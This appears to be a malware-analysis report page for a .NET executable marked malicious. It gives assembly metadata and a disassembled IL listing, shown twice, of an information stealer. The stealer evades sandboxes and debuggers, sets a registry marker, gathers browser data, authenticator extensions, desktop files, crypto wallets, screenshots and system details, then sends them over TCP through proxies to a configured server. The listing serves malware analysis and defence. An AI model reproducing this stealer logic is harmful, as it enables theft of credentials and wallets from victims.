Malicious
Malicious

Share on LinkedIn
Print
PE Executable
MD5:
Size: 0 B
application/x-dosexec
Ctrl + scroll to zoom · drag to pan

Get an AI-generated breakdown of this malware's behaviour, IOCs and recommendations.

AI analysis is available with Essential.
Unlock with Essential
File
Type
Portable Executable file
Detection
PeID
.NET executableMicrosoft Visual C# / Basic .NETMicrosoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL Microsoft Visual C# v7.0 / Basic .NETMicrosoft Visual Studio .NET
Symbol obfuscation
Low
1 malicious · 15 files
EXE481dabdbc73134e3da5ba82224db1c5c
Structure
BINOverlay_e63dbc0e.bin
Name Value
Info
Overlay extracted: Overlay_e63dbc0e.bin (3303424 bytes)
Module Name
5B192B1392711630
Full Name
5B192B1392711630
EntryPoint
System.Void ns2.Class17::Main(System.String[])
Scope Name
5B192B1392711630
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
C9BF3D1300173492
Assembly Version
1.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
.NETFramework,Version=v4.7.2
Total Strings
1086
Main Method
System.Void ns2.Class17::Main(System.String[])
Main IL Instruction Count
475
Main IL 
nop <null>
call System.Boolean ns2.Class17::smethod_3()
brfalse IL_0590: ldc.i4.0
ldsfld System.String ns2.GClass10::AntiSandbox
call System.Boolean System.Convert::ToBoolean(System.String)
brfalse.s IL_0025: ldsfld System.String ns2.GClass10::AntiCIS
call System.Boolean ns2.Class6::smethod_0()
brfalse.s IL_0025: ldsfld System.String ns2.GClass10::AntiCIS
ldc.i4.0 <null>
call System.Void System.Environment::Exit(System.Int32)
ret <null>
ldsfld System.String ns2.GClass10::AntiCIS
call System.Boolean System.Convert::ToBoolean(System.String)
brfalse.s IL_003F: ldsfld System.String ns2.GClass10::AntiDebug
call System.Boolean ns2.Class3::smethod_0()
brfalse.s IL_003F: ldsfld System.String ns2.GClass10::AntiDebug
ldc.i4.0 <null>
call System.Void System.Environment::Exit(System.Int32)
ret <null>
ldsfld System.String ns2.GClass10::AntiDebug
call System.Boolean System.Convert::ToBoolean(System.String)
brfalse.s IL_0059: ldc.i4.0
call System.Boolean ns2.Class5::smethod_7()
brfalse.s IL_0059: ldc.i4.0
ldc.i4.0 <null>
call System.Void System.Environment::Exit(System.Int32)
ret <null>
ldc.i4.0 <null>
stloc.s V_0
ldsfld System.String ns2.GClass10::CheckRegistry
call System.Boolean System.Convert::ToBoolean(System.String)
brfalse.s IL_0092: call System.Boolean ns2.Class17::smethod_0()
ldsfld Microsoft.Win32.RegistryKey Microsoft.Win32.Registry::CurrentUser
nop <null>
ldstr Software
ldc.i4.1 <null>
callvirt Microsoft.Win32.RegistryKey Microsoft.Win32.RegistryKey::OpenSubKey(System.String,System.Boolean)
ldsfld System.String ns2.GClass10::string_24
ldc.i4.1 <null>
callvirt Microsoft.Win32.RegistryKey Microsoft.Win32.RegistryKey::OpenSubKey(System.String,System.Boolean)
brtrue.s IL_008B: ldc.i4.0
ldc.i4.1 <null>
stloc.s V_0
br.s IL_0092: call System.Boolean ns2.Class17::smethod_0()
ldc.i4.0 <null>
call System.Void System.Environment::Exit(System.Int32)
ret <null>
call System.Boolean ns2.Class17::smethod_0()
brtrue.s IL_00B0: ldsfld System.String ns2.GClass10::CheckRegistry
nop <null>
ldstr C:\Windows\explorer.exe
call System.Boolean ns2.Class16::smethod_4(System.String)
pop <null>
call System.Void ns2.Class17::smethod_2()
ldc.i4.0 <null>
call System.Void System.Environment::Exit(System.Int32)
ldsfld System.String ns2.GClass10::CheckRegistry
call System.Boolean System.Convert::ToBoolean(System.String)
brfalse.s IL_00F7: ldsfld System.Boolean ns2.Class2::bool_0
ldloc.s V_0
brfalse.s IL_00F7: ldsfld System.Boolean ns2.Class2::bool_0
ldsfld Microsoft.Win32.RegistryKey Microsoft.Win32.Registry::CurrentUser
nop <null>
ldstr Software
ldc.i4.1 <null>
callvirt Microsoft.Win32.RegistryKey Microsoft.Win32.RegistryKey::OpenSubKey(System.String,System.Boolean)
dup <null>
ldsfld System.String ns2.GClass10::string_24
ldc.i4.1 <null>
callvirt Microsoft.Win32.RegistryKey Microsoft.Win32.RegistryKey::OpenSubKey(System.String,System.Boolean)
pop <null>
ldsfld System.String ns2.GClass10::string_24
callvirt Microsoft.Win32.RegistryKey Microsoft.Win32.RegistryKey::CreateSubKey(System.String)
ldsfld System.String ns2.GClass10::string_24
ldsfld System.String ns2.GClass10::string_24
callvirt System.Void Microsoft.Win32.RegistryKey::SetValue(System.String,System.Object)
ldsfld System.Boolean ns2.Class2::bool_0
brtrue.s IL_0123: ldsfld System.String ns2.GClass10::string_17
ldsfld System.Func`1<System.Threading.Tasks.Task> ns2.Class17/<>c::func_0
dup <null>
brtrue.s IL_011D: call System.Threading.Tasks.Task System.Threading.Tasks.Task::Run(System.Func`1<System.Threading.Tasks.Task>)
pop <null>
ldsfld ns2.Class17/<>c ns2.Class17/<>c::<>c_0
ldftn System.Threading.Tasks.Task ns2.Class17/<>c::method_0()
newobj System.Void System.Func`1<System.Threading.Tasks.Task>::.ctor(System.Object,System.IntPtr)
dup <null>
stsfld System.Func`1<System.Threading.Tasks.Task> ns2.Class17/<>c::func_0
call System.Threading.Tasks.Task System.Threading.Tasks.Task::Run(System.Func`1<System.Threading.Tasks.Task>)
pop <null>
ldsfld System.String ns2.GClass10::string_17
call System.Boolean System.Convert::ToBoolean(System.String)
brfalse.s IL_0189: nop
ldsfld System.String ns2.GClass10::string_19
call System.Boolean System.Convert::ToBoolean(System.String)
brfalse.s IL_0189: nop
ldsfld System.String ns2.GClass10::string_18
ldc.i4.1 <null>
newarr System.Char
dup <null>
ldc.i4.0 <null>
ldc.i4.s 44
stelem.i2 <null>
callvirt System.String[] System.String::Split(System.Char[])
newobj System.Void System.Threading.Tasks.ParallelOptions::.ctor()
dup <null>
call System.Int32 System.Environment::get_ProcessorCount()
callvirt System.Void System.Threading.Tasks.ParallelOptions::set_MaxDegreeOfParallelism(System.Int32)
stloc.s V_27
ldloc.s V_27
ldsfld System.Action`1<System.String> ns2.Class17/<>c::action_0
dup <null>
brtrue.s IL_0183: call System.Threading.Tasks.ParallelLoopResult System.Threading.Tasks.Parallel::ForEach<System.String>(System.Collections.Generic.IEnumerable`1<System.String>,System.Threading.Tasks.ParallelOptions,System.Action`1<System.String>)
pop <null>
ldsfld ns2.Class17/<>c ns2.Class17/<>c::<>c_0
ldftn System.Void ns2.Class17/<>c::method_1(System.String)
newobj System.Void System.Action`1<System.String>::.ctor(System.Object,System.IntPtr)
dup <null>
stsfld System.Action`1<System.String> ns2.Class17/<>c::action_0
call System.Threading.Tasks.ParallelLoopResult System.Threading.Tasks.Parallel::ForEach<System.String>(System.Collections.Generic.IEnumerable`1<System.String>,System.Threading.Tasks.ParallelOptions,System.Action`1<System.String>)
pop <null>
nop <null>
call System.Byte[] ns2.Class10::smethod_0()
stloc.s V_36
ldloc.s V_36
ldlen <null>
brfalse.s IL_01AD: leave.s IL_01B2
ldsfld System.Collections.Generic.Dictionary`2<System.String,System.String> ns2.Class17::dictionary_0
nop <null>
ldstr Browsers
ldloc.s V_36
call System.String System.Convert::ToBase64String(System.Byte[])
callvirt System.Void System.Collections.Generic.Dictionary`2<System.String,System.String>::Add(System.String,System.String)
leave.s IL_01B2: nop
pop <null>
leave.s IL_01B2: nop
nop <null>
call System.Byte[] ns2.Class9::smethod_0()
stloc.s V_6
ldloc.s V_6
ldlen <null>
brfalse.s IL_01D6: leave.s IL_01DB
ldsfld System.Collections.Generic.Dictionary`2<System.String,System.String> ns2.Class17::dictionary_0
nop <null>
ldstr AuthExtensions
ldloc.s V_6
call System.String System.Convert::ToBase64String(System.Byte[])
callvirt System.Void System.Collections.Generic.Dictionary`2<System.String,System.String>::Add(System.String,System.String)
leave.s IL_01DB: nop
pop <null>
leave.s IL_01DB: nop
nop <null>
ldsfld System.String ns2.GClass10::string_26
call System.Boolean System.Convert::ToBoolean(System.String)
brfalse.s IL_01ED: leave.s IL_01F2
call System.Void ns2.Class18::smethod_13()
leave.s IL_01F2: ldsfld System.String ns2.GClass10::string_11
pop <null>
leave.s IL_01F2: ldsfld System.String ns2.GClass10::string_11
ldsfld System.String ns2.GClass10::string_11
call System.Boolean System.Convert::ToBoolean(System.String)
brfalse.s IL_0227: ldsfld System.String ns2.GClass10::string_6
nop <null>
call System.Byte[] ns2.Class11::smethod_0()
stloc.s V_7
ldloc.s V_7
ldlen <null>
brfalse.s IL_0222: leave.s IL_0227
ldsfld System.Collections.Generic.Dictionary`2<System.String,System.String> ns2.Class17::dictionary_0
nop <null>
ldstr DesktopFiles
ldloc.s V_7
call System.String System.Convert::ToBase64String(System.Byte[])
callvirt System.Void System.Collections.Generic.Dictionary`2<System.String,System.String>::Add(System.String,System.String)
leave.s IL_0227: ldsfld System.String ns2.GClass10::string_6
pop <null>
leave.s IL_0227: ldsfld System.String ns2.GClass10::string_6
ldsfld System.String ns2.GClass10::string_6
call System.Boolean System.Convert::ToBoolean(System.String)
brtrue.s IL_0257: nop
ldsfld System.String ns2.GClass10::string_4
call System.Boolean System.Convert::ToBoolean(System.String)
brtrue.s IL_0257: nop
ldsfld System.String ns2.GClass10::string_5
call System.Boolean System.Convert::ToBoolean(System.String)
brtrue.s IL_0257: nop
ldsfld System.String ns2.GClass10::string_7
call System.Boolean System.Convert::ToBoolean(System.String)
brfalse.s IL_0280: ldsfld System.String ns2.GClass10::string_9
nop <null>
call System.Byte[] ns2.Class7::smethod_0()
stloc.s V_33
ldloc.s V_33
ldlen <null>
brfalse.s IL_027B: leave.s IL_0280
ldsfld System.Collections.Generic.Dictionary`2<System.String,System.String> ns2.Class17::dictionary_0
nop <null>
ldstr Apps
ldloc.s V_33
call System.String System.Convert::ToBase64String(System.Byte[])
callvirt System.Void System.Collections.Generic.Dictionary`2<System.String,System.String>::Add(System.String,System.String)
leave.s IL_0280: ldsfld System.String ns2.GClass10::string_9
pop <null>
leave.s IL_0280: ldsfld System.String ns2.GClass10::string_9
ldsfld System.String ns2.GClass10::string_9
call System.Boolean System.Convert::ToBoolean(System.String)
brfalse.s IL_02B5: ldsfld System.String ns2.GClass10::string_14
nop <null>
call System.Byte[] ns2.Class12::smethod_0()
stloc.s V_9
ldloc.s V_9
ldlen <null>
brfalse.s IL_02B0: leave.s IL_02B5
ldsfld System.Collections.Generic.Dictionary`2<System.String,System.String> ns2.Class17::dictionary_0
nop <null>
ldstr Wallets
ldloc.s V_9
call System.String System.Convert::ToBase64String(System.Byte[])
callvirt System.Void System.Collections.Generic.Dictionary`2<System.String,System.String>::Add(System.String,System.String)
leave.s IL_02B5: ldsfld System.String ns2.GClass10::string_14
pop <null>
leave.s IL_02B5: ldsfld System.String ns2.GClass10::string_14
ldsfld System.String ns2.GClass10::string_14
call System.Boolean System.Convert::ToBoolean(System.String)
brfalse.s IL_02E1: ldsfld System.String ns2.GClass10::string_10
nop <null>
ldsfld System.Collections.Generic.Dictionary`2<System.String,System.String> ns2.Class17::dictionary_0
nop <null>
ldstr Info
call System.Byte[] ns2.Class14::smethod_0()
call System.String System.Convert::ToBase64String(System.Byte[])
callvirt System.Void System.Collections.Generic.Dictionary`2<System.String,System.String>::Add(System.String,System.String)
leave.s IL_02E1: ldsfld System.String ns2.GClass10::string_10
pop <null>
leave.s IL_02E1: ldsfld System.String ns2.GClass10::string_10
ldsfld System.String ns2.GClass10::string_10
call System.Boolean System.Convert::ToBoolean(System.String)
brfalse.s IL_0316: nop
nop <null>
call System.Byte[] ns2.Class14::Screenshot()
stloc.s V_20
ldloc.s V_20
ldlen <null>
brfalse.s IL_0311: leave.s IL_0316
ldsfld System.Collections.Generic.Dictionary`2<System.String,System.String> ns2.Class17::dictionary_0
nop <null>
ldstr Screen
ldloc.s V_20
call System.String System.Convert::ToBase64String(System.Byte[])
callvirt System.Void System.Collections.Generic.Dictionary`2<System.String,System.String>::Add(System.String,System.String)
leave.s IL_0316: nop
pop <null>
leave.s IL_0316: nop
nop <null>
ldsfld System.Collections.Generic.Dictionary`2<System.String,System.String> ns2.Class17::dictionary_0
nop <null>
ldstr HWID
call System.String ns2.Class13::HWID()
callvirt System.Void System.Collections.Generic.Dictionary`2<System.String,System.String>::Add(System.String,System.String)
leave.s IL_0331: nop
pop <null>
leave.s IL_0331: nop
nop <null>
ldsfld System.Collections.Generic.Dictionary`2<System.String,System.String> ns2.Class17::dictionary_0
nop <null>
ldstr Group
ldsfld System.String ns2.GClass10::GroupName
callvirt System.Void System.Collections.Generic.Dictionary`2<System.String,System.String>::Add(System.String,System.String)
leave.s IL_034C: nop
pop <null>
leave.s IL_034C: nop
nop <null>
ldsfld System.String ns2.Class14::string_0
nop <null>
ldstr null1
call System.Boolean System.String::op_Equality(System.String,System.String)
brfalse.s IL_0365: ldsfld System.Collections.Generic.Dictionary`2<System.String,System.String> ns2.Class17::dictionary_0
call System.Byte[] ns2.Class14::smethod_0()
pop <null>
ldsfld System.Collections.Generic.Dictionary`2<System.String,System.String> ns2.Class17::dictionary_0
nop <null>
ldstr Geo
ldsfld System.String ns2.Class14::string_0
callvirt System.Void System.Collections.Generic.Dictionary`2<System.String,System.String>::Add(System.String,System.String)
leave.s IL_037F: nop
pop <null>
leave.s IL_037F: nop
nop <null>
ldsfld System.String ns2.Class14::string_1
nop <null>
ldstr null2
call System.Boolean System.String::op_Equality(System.String,System.String)
brfalse.s IL_0398: ldsfld System.Collections.Generic.Dictionary`2<System.String,System.String> ns2.Class17::dictionary_0
call System.Byte[] ns2.Class14::smethod_0()
pop <null>
ldsfld System.Collections.Generic.Dictionary`2<System.String,System.String> ns2.Class17::dictionary_0
nop <null>
ldstr Ip
ldsfld System.String ns2.Class14::string_1
callvirt System.Void System.Collections.Generic.Dictionary`2<System.String,System.String>::Add(System.String,System.String)
leave.s IL_03B2: ldsfld System.Collections.Generic.Dictionary`2<System.String,System.String> ns2.Class17::dictionary_0
pop <null>
leave.s IL_03B2: ldsfld System.Collections.Generic.Dictionary`2<System.String,System.String> ns2.Class17::dictionary_0
ldsfld System.Collections.Generic.Dictionary`2<System.String,System.String> ns2.Class17::dictionary_0
call System.Byte[] ns2.Class18::smethod_0(System.Collections.Generic.Dictionary`2<System.String,System.String>)
stloc.s V_35
ldloc.s V_35
brtrue.s IL_03C9: ldloc.s V_35
ldc.i4.0 <null>
call System.Void System.Environment::Exit(System.Int32)
ret <null>
ldloc.s V_35
call System.Byte[] ns2.Class18::smethod_3(System.Byte[])
call System.Byte[] ns2.Class18::smethod_1(System.Byte[])
stloc.s V_2
ldc.i4.0 <null>
stloc.s V_3
br IL_04EA: ldloc.s V_3
nop <null>
ldsfld System.String ns2.GClass10::Proxy
ldc.i4.1 <null>
newarr System.Char
dup <null>
ldc.i4.0 <null>
ldc.i4.s 44
stelem.i2 <null>
callvirt System.String[] System.String::Split(System.Char[])
stloc.s V_19
newobj System.Void System.Random::.ctor()
stloc.s V_21
ldloc.s V_19
ldloc.s V_21
ldloc.s V_19
ldlen <null>
conv.i4 <null>
callvirt System.Int32 System.Random::Next(System.Int32)
ldelem.ref <null>
ldc.i4.1 <null>
newarr System.Char
dup <null>
ldc.i4.0 <null>
ldc.i4.s 58
stelem.i2 <null>
callvirt System.String[] System.String::Split(System.Char[])
stloc.s V_26
newobj System.Void ns1.GClass4::.ctor()
ldc.i4.4 <null>
ldloc.s V_26
ldc.i4.0 <null>
ldelem.ref <null>
ldloc.s V_26
ldc.i4.1 <null>
ldelem.ref <null>
call System.Int32 System.Int32::Parse(System.String)
ldloc.s V_26
ldc.i4.2 <null>
ldelem.ref <null>
ldloc.s V_26
ldc.i4.3 <null>
ldelem.ref <null>
callvirt ns1.GInterface0 ns1.GClass4::method_3(ns1.GEnum1,System.String,System.Int32,System.String,System.String)
dup <null>
ldc.r8 60
call System.TimeSpan System.TimeSpan::FromSeconds(System.Double)
stloc.s V_14
ldloca.s V_14
call System.Double System.TimeSpan::get_TotalMilliseconds()
conv.i4 <null>
callvirt System.Void ns1.GInterface0::imethod_10(System.Int32)
dup <null>
ldc.r8 60
call System.TimeSpan System.TimeSpan::FromSeconds(System.Double)
stloc.s V_14
ldloca.s V_14
call System.Double System.TimeSpan::get_TotalMilliseconds()
conv.i4 <null>
callvirt System.Void ns1.GInterface0::imethod_7(System.Int32)
ldsfld System.String ns2.GClass10::IP
ldsfld System.String ns2.GClass10::PORT
call System.Int32 System.Convert::ToInt32(System.String)
callvirt System.Net.Sockets.TcpClient ns1.GInterface0::imethod_13(System.String,System.Int32)
stloc.s V_15
ldloc.s V_15
callvirt System.Net.Sockets.NetworkStream System.Net.Sockets.TcpClient::GetStream()
stloc.s V_30
ldloc.s V_30
ldloc.s V_2
ldlen <null>
conv.i4 <null>
call System.Byte[] System.BitConverter::GetBytes(System.Int32)
ldc.i4.0 <null>
ldc.i4.4 <null>
callvirt System.Void System.IO.Stream::Write(System.Byte[],System.Int32,System.Int32)
ldloc.s V_30
ldloc.s V_2
ldc.i4.0 <null>
ldloc.s V_2
ldlen <null>
conv.i4 <null>
callvirt System.Void System.IO.Stream::Write(System.Byte[],System.Int32,System.Int32)
leave.s IL_04C7: leave.s IL_04D5
ldloc.s V_30
brfalse.s IL_04C6: endfinally
ldloc.s V_30
callvirt System.Void System.IDisposable::Dispose()
endfinally <null>
leave.s IL_04D5: leave.s IL_04F3
ldloc.s V_15
brfalse.s IL_04D4: endfinally
ldloc.s V_15
callvirt System.Void System.IDisposable::Dispose()
endfinally <null>
leave.s IL_04F3: ldloc.s V_3
pop <null>
ldloc.s V_3
ldc.i4.1 <null>
add <null>
stloc.s V_3
ldc.i4 1000
call System.Void System.Threading.Thread::Sleep(System.Int32)
leave.s IL_04EA: ldloc.s V_3
ldloc.s V_3
ldc.i4.s 10
ble IL_03DF: nop
ldloc.s V_3
ldc.i4.s 10
blt.s IL_0500: ldsfld System.String ns2.GClass10::string_17
ldc.i4.0 <null>
call System.Void System.Environment::Exit(System.Int32)
ret <null>
ldsfld System.String ns2.GClass10::string_17
call System.Boolean System.Convert::ToBoolean(System.String)
brfalse.s IL_0566: ldsfld System.String ns2.GClass10::string_15
ldsfld System.String ns2.GClass10::string_19
call System.Boolean System.Convert::ToBoolean(System.String)
brtrue.s IL_0566: ldsfld System.String ns2.GClass10::string_15
ldsfld System.String ns2.GClass10::string_18
ldc.i4.1 <null>
newarr System.Char
dup <null>
ldc.i4.0 <null>
ldc.i4.s 44
stelem.i2 <null>
callvirt System.String[] System.String::Split(System.Char[])
newobj System.Void System.Threading.Tasks.ParallelOptions::.ctor()
dup <null>
call System.Int32 System.Environment::get_ProcessorCount()
callvirt System.Void System.Threading.Tasks.ParallelOptions::set_MaxDegreeOfParallelism(System.Int32)
stloc.s V_38
ldloc.s V_38
ldsfld System.Action`1<System.String> ns2.Class17/<>c::action_1
dup <null>
brtrue.s IL_0560: call System.Threading.Tasks.ParallelLoopResult System.Threading.Tasks.Parallel::ForEach<System.String>(System.Collections.Generic.IEnumerable`1<System.String>,System.Threading.Tasks.ParallelOptions,System.Action`1<System.String>)
pop <null>
ldsfld ns2.Class17/<>c ns2.Class17/<>c::<>c_0
ldftn System.Void ns2.Class17/<>c::method_2(System.String)
newobj System.Void System.Action`1<System.String>::.ctor(System.Object,System.IntPtr)
dup <null>
stsfld System.Action`1<System.String> ns2.Class17/<>c::action_1
call System.Threading.Tasks.ParallelLoopResult System.Threading.Tasks.Parallel::ForEach<System.String>(System.Collections.Generic.IEnumerable`1<System.String>,System.Threading.Tasks.ParallelOptions,System.Action`1<System.String>)
pop <null>
ldsfld System.String ns2.GClass10::string_15
call System.Boolean System.Convert::ToBoolean(System.String)
brfalse.s IL_0577: ldsfld System.String ns2.GClass10::string_8
call System.Void ns2.Class15::smethod_0()
ldsfld System.String ns2.GClass10::string_8
call System.Boolean System.Convert::ToBoolean(System.String)
brtrue.s IL_058A: call System.Void ns2.Class18::smethod_2()
ldc.i4.0 <null>
call System.Void System.Environment::Exit(System.Int32)
ret <null>
call System.Void ns2.Class18::smethod_2()
ret <null>
ldc.i4.0 <null>
call System.Void System.Environment::Exit(System.Int32)
ret <null>
Module Name
5B192B1392711630
Full Name
5B192B1392711630
EntryPoint
System.Void ns2.Class17::Main(System.String[])
Scope Name
5B192B1392711630
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
C9BF3D1300173492
Assembly Version
1.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
.NETFramework,Version=v4.7.2
Total Strings
1086
Main Method
System.Void ns2.Class17::Main(System.String[])
Main IL Instruction Count
475
Main IL 
nop <null>
call System.Boolean ns2.Class17::smethod_3()
brfalse IL_0590: ldc.i4.0
ldsfld System.String ns2.GClass10::AntiSandbox
call System.Boolean System.Convert::ToBoolean(System.String)
brfalse.s IL_0025: ldsfld System.String ns2.GClass10::AntiCIS
call System.Boolean ns2.Class6::smethod_0()
brfalse.s IL_0025: ldsfld System.String ns2.GClass10::AntiCIS
ldc.i4.0 <null>
call System.Void System.Environment::Exit(System.Int32)
ret <null>
ldsfld System.String ns2.GClass10::AntiCIS
call System.Boolean System.Convert::ToBoolean(System.String)
brfalse.s IL_003F: ldsfld System.String ns2.GClass10::AntiDebug
call System.Boolean ns2.Class3::smethod_0()
brfalse.s IL_003F: ldsfld System.String ns2.GClass10::AntiDebug
ldc.i4.0 <null>
call System.Void System.Environment::Exit(System.Int32)
ret <null>
ldsfld System.String ns2.GClass10::AntiDebug
call System.Boolean System.Convert::ToBoolean(System.String)
brfalse.s IL_0059: ldc.i4.0
call System.Boolean ns2.Class5::smethod_7()
brfalse.s IL_0059: ldc.i4.0
ldc.i4.0 <null>
call System.Void System.Environment::Exit(System.Int32)
ret <null>
ldc.i4.0 <null>
stloc.s V_0
ldsfld System.String ns2.GClass10::CheckRegistry
call System.Boolean System.Convert::ToBoolean(System.String)
brfalse.s IL_0092: call System.Boolean ns2.Class17::smethod_0()
ldsfld Microsoft.Win32.RegistryKey Microsoft.Win32.Registry::CurrentUser
nop <null>
ldstr Software
ldc.i4.1 <null>
callvirt Microsoft.Win32.RegistryKey Microsoft.Win32.RegistryKey::OpenSubKey(System.String,System.Boolean)
ldsfld System.String ns2.GClass10::string_24
ldc.i4.1 <null>
callvirt Microsoft.Win32.RegistryKey Microsoft.Win32.RegistryKey::OpenSubKey(System.String,System.Boolean)
brtrue.s IL_008B: ldc.i4.0
ldc.i4.1 <null>
stloc.s V_0
br.s IL_0092: call System.Boolean ns2.Class17::smethod_0()
ldc.i4.0 <null>
call System.Void System.Environment::Exit(System.Int32)
ret <null>
call System.Boolean ns2.Class17::smethod_0()
brtrue.s IL_00B0: ldsfld System.String ns2.GClass10::CheckRegistry
nop <null>
ldstr C:\Windows\explorer.exe
call System.Boolean ns2.Class16::smethod_4(System.String)
pop <null>
call System.Void ns2.Class17::smethod_2()
ldc.i4.0 <null>
call System.Void System.Environment::Exit(System.Int32)
ldsfld System.String ns2.GClass10::CheckRegistry
call System.Boolean System.Convert::ToBoolean(System.String)
brfalse.s IL_00F7: ldsfld System.Boolean ns2.Class2::bool_0
ldloc.s V_0
brfalse.s IL_00F7: ldsfld System.Boolean ns2.Class2::bool_0
ldsfld Microsoft.Win32.RegistryKey Microsoft.Win32.Registry::CurrentUser
nop <null>
ldstr Software
ldc.i4.1 <null>
callvirt Microsoft.Win32.RegistryKey Microsoft.Win32.RegistryKey::OpenSubKey(System.String,System.Boolean)
dup <null>
ldsfld System.String ns2.GClass10::string_24
ldc.i4.1 <null>
callvirt Microsoft.Win32.RegistryKey Microsoft.Win32.RegistryKey::OpenSubKey(System.String,System.Boolean)
pop <null>
ldsfld System.String ns2.GClass10::string_24
callvirt Microsoft.Win32.RegistryKey Microsoft.Win32.RegistryKey::CreateSubKey(System.String)
ldsfld System.String ns2.GClass10::string_24
ldsfld System.String ns2.GClass10::string_24
callvirt System.Void Microsoft.Win32.RegistryKey::SetValue(System.String,System.Object)
ldsfld System.Boolean ns2.Class2::bool_0
brtrue.s IL_0123: ldsfld System.String ns2.GClass10::string_17
ldsfld System.Func`1<System.Threading.Tasks.Task> ns2.Class17/<>c::func_0
dup <null>
brtrue.s IL_011D: call System.Threading.Tasks.Task System.Threading.Tasks.Task::Run(System.Func`1<System.Threading.Tasks.Task>)
pop <null>
ldsfld ns2.Class17/<>c ns2.Class17/<>c::<>c_0
ldftn System.Threading.Tasks.Task ns2.Class17/<>c::method_0()
newobj System.Void System.Func`1<System.Threading.Tasks.Task>::.ctor(System.Object,System.IntPtr)
dup <null>
stsfld System.Func`1<System.Threading.Tasks.Task> ns2.Class17/<>c::func_0
call System.Threading.Tasks.Task System.Threading.Tasks.Task::Run(System.Func`1<System.Threading.Tasks.Task>)
pop <null>
ldsfld System.String ns2.GClass10::string_17
call System.Boolean System.Convert::ToBoolean(System.String)
brfalse.s IL_0189: nop
ldsfld System.String ns2.GClass10::string_19
call System.Boolean System.Convert::ToBoolean(System.String)
brfalse.s IL_0189: nop
ldsfld System.String ns2.GClass10::string_18
ldc.i4.1 <null>
newarr System.Char
dup <null>
ldc.i4.0 <null>
ldc.i4.s 44
stelem.i2 <null>
callvirt System.String[] System.String::Split(System.Char[])
newobj System.Void System.Threading.Tasks.ParallelOptions::.ctor()
dup <null>
call System.Int32 System.Environment::get_ProcessorCount()
callvirt System.Void System.Threading.Tasks.ParallelOptions::set_MaxDegreeOfParallelism(System.Int32)
stloc.s V_27
ldloc.s V_27
ldsfld System.Action`1<System.String> ns2.Class17/<>c::action_0
dup <null>
brtrue.s IL_0183: call System.Threading.Tasks.ParallelLoopResult System.Threading.Tasks.Parallel::ForEach<System.String>(System.Collections.Generic.IEnumerable`1<System.String>,System.Threading.Tasks.ParallelOptions,System.Action`1<System.String>)
pop <null>
ldsfld ns2.Class17/<>c ns2.Class17/<>c::<>c_0
ldftn System.Void ns2.Class17/<>c::method_1(System.String)
newobj System.Void System.Action`1<System.String>::.ctor(System.Object,System.IntPtr)
dup <null>
stsfld System.Action`1<System.String> ns2.Class17/<>c::action_0
call System.Threading.Tasks.ParallelLoopResult System.Threading.Tasks.Parallel::ForEach<System.String>(System.Collections.Generic.IEnumerable`1<System.String>,System.Threading.Tasks.ParallelOptions,System.Action`1<System.String>)
pop <null>
nop <null>
call System.Byte[] ns2.Class10::smethod_0()
stloc.s V_36
ldloc.s V_36
ldlen <null>
brfalse.s IL_01AD: leave.s IL_01B2
ldsfld System.Collections.Generic.Dictionary`2<System.String,System.String> ns2.Class17::dictionary_0
nop <null>
ldstr Browsers
ldloc.s V_36
call System.String System.Convert::ToBase64String(System.Byte[])
callvirt System.Void System.Collections.Generic.Dictionary`2<System.String,System.String>::Add(System.String,System.String)
leave.s IL_01B2: nop
pop <null>
leave.s IL_01B2: nop
nop <null>
call System.Byte[] ns2.Class9::smethod_0()
stloc.s V_6
ldloc.s V_6
ldlen <null>
brfalse.s IL_01D6: leave.s IL_01DB
ldsfld System.Collections.Generic.Dictionary`2<System.String,System.String> ns2.Class17::dictionary_0
nop <null>
ldstr AuthExtensions
ldloc.s V_6
call System.String System.Convert::ToBase64String(System.Byte[])
callvirt System.Void System.Collections.Generic.Dictionary`2<System.String,System.String>::Add(System.String,System.String)
leave.s IL_01DB: nop
pop <null>
leave.s IL_01DB: nop
nop <null>
ldsfld System.String ns2.GClass10::string_26
call System.Boolean System.Convert::ToBoolean(System.String)
brfalse.s IL_01ED: leave.s IL_01F2
call System.Void ns2.Class18::smethod_13()
leave.s IL_01F2: ldsfld System.String ns2.GClass10::string_11
pop <null>
leave.s IL_01F2: ldsfld System.String ns2.GClass10::string_11
ldsfld System.String ns2.GClass10::string_11
call System.Boolean System.Convert::ToBoolean(System.String)
brfalse.s IL_0227: ldsfld System.String ns2.GClass10::string_6
nop <null>
call System.Byte[] ns2.Class11::smethod_0()
stloc.s V_7
ldloc.s V_7
ldlen <null>
brfalse.s IL_0222: leave.s IL_0227
ldsfld System.Collections.Generic.Dictionary`2<System.String,System.String> ns2.Class17::dictionary_0
nop <null>
ldstr DesktopFiles
ldloc.s V_7
call System.String System.Convert::ToBase64String(System.Byte[])
callvirt System.Void System.Collections.Generic.Dictionary`2<System.String,System.String>::Add(System.String,System.String)
leave.s IL_0227: ldsfld System.String ns2.GClass10::string_6
pop <null>
leave.s IL_0227: ldsfld System.String ns2.GClass10::string_6
ldsfld System.String ns2.GClass10::string_6
call System.Boolean System.Convert::ToBoolean(System.String)
brtrue.s IL_0257: nop
ldsfld System.String ns2.GClass10::string_4
call System.Boolean System.Convert::ToBoolean(System.String)
brtrue.s IL_0257: nop
ldsfld System.String ns2.GClass10::string_5
call System.Boolean System.Convert::ToBoolean(System.String)
brtrue.s IL_0257: nop
ldsfld System.String ns2.GClass10::string_7
call System.Boolean System.Convert::ToBoolean(System.String)
brfalse.s IL_0280: ldsfld System.String ns2.GClass10::string_9
nop <null>
call System.Byte[] ns2.Class7::smethod_0()
stloc.s V_33
ldloc.s V_33
ldlen <null>
brfalse.s IL_027B: leave.s IL_0280
ldsfld System.Collections.Generic.Dictionary`2<System.String,System.String> ns2.Class17::dictionary_0
nop <null>
ldstr Apps
ldloc.s V_33
call System.String System.Convert::ToBase64String(System.Byte[])
callvirt System.Void System.Collections.Generic.Dictionary`2<System.String,System.String>::Add(System.String,System.String)
leave.s IL_0280: ldsfld System.String ns2.GClass10::string_9
pop <null>
leave.s IL_0280: ldsfld System.String ns2.GClass10::string_9
ldsfld System.String ns2.GClass10::string_9
call System.Boolean System.Convert::ToBoolean(System.String)
